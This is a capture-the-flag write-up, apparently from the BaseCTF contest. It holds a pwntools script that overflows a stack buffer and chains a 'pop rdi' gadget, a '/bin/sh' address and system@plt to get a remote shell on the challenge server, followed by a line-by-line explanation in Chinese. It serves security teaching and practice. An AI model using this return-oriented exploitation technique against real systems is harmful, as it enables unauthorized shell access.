from pwn import *
io=remote("challenge.basectf.fun",45303)
elf=ELF('./pwn')
pop_rdi=0x401196
binsh=0x402008
ret=0x40101a
shell=elf.plt['system']
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(shell)
io.recv()
io.sendline(payload)
io.interactive()
-
elf = ELF('./pwn')
:加载本地的二进制文件pwn
的 ELF (Executable and Linkable Format) 信息。通过ELF
对象,你可以方便地访问二进制文件中的符号和地址信息。 -
pop_rdi = 0x401196
:这是一个地址,指向一个 “pop rdi; ret” 指令的 gadget。在这个地址处的指令会将rdi
寄存器的值设置为指定的值,然后返回到下一条指令。这个 gadget 用于在利用过程中设置rdi
寄存器的值。 -
binsh = 0x402008
:这是一个硬编码的地址,指向/bin/sh
字符串在内存中的位置。这个字符串作为参数传递给system
函数,用于打开 shell。 -
ret = 0x40101a
:这是一个硬编码的地址,指向一个ret
指令的位置。这个ret
指令用于修正栈对齐问题,使得程序能正确地从栈上返回到下一个函数。 -
shell = elf.plt['system']
:获取system
函数在 Procedure Linkage Table (PLT) 中的地址。PLT 是用于动态链接的表,包含了到实际函数实现的跳转地址。elf.plt['system']
将会返回system
函数的正确地址,这个地址会在程序运行时被加载到内存中。 -
payload = b'a' * (0x70 + 8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(shell)
:构造一个 payload。这个 payload 由以下几部分组成: -
io.recv()
:接收来自目标程序的初始输出。这通常用于同步,确保在发送 payload 之前先读取程序的初始响应。 -
io.sendline(payload)
:将构造的 payload 发送到目标程序,以触发缓冲区溢出并执行构造好的代码。 -
io.interactive()
:将程序的控制权交给用户,使用户可以与获得的 shell 进行交互。此时你可以在远程服务器上执行命令。